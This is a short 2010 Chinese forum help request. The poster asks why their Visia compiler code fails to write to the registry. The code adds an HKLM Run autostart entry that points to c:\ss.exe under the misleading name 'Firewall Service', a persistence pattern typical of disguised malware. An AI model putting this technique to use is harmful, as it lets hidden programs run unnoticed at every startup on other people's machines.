|
本帖最后由 jangj001 于 2010-6-22 10:26 编辑
各位大哥,小弟最近使用visia compiler写注册表,怎么也写不进去,期待高人指点
源码奉上- application PE GUI;
- include "windows.inc";
- frame RegCreateValue(dword RootKey,string Path,string KeyName,string KeyData);
- dword Key;
- RegOpenKey(RootKey, Path, Key);
- RegSetValueEx(Key,KeyName,0,REG_SZ,@KeyData,10);
- RegCloseKey(Key);
- end;
- entry
- RegCreateValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "Firewall Service","c:\ss.exe");
-
- end.
复制代码 |
|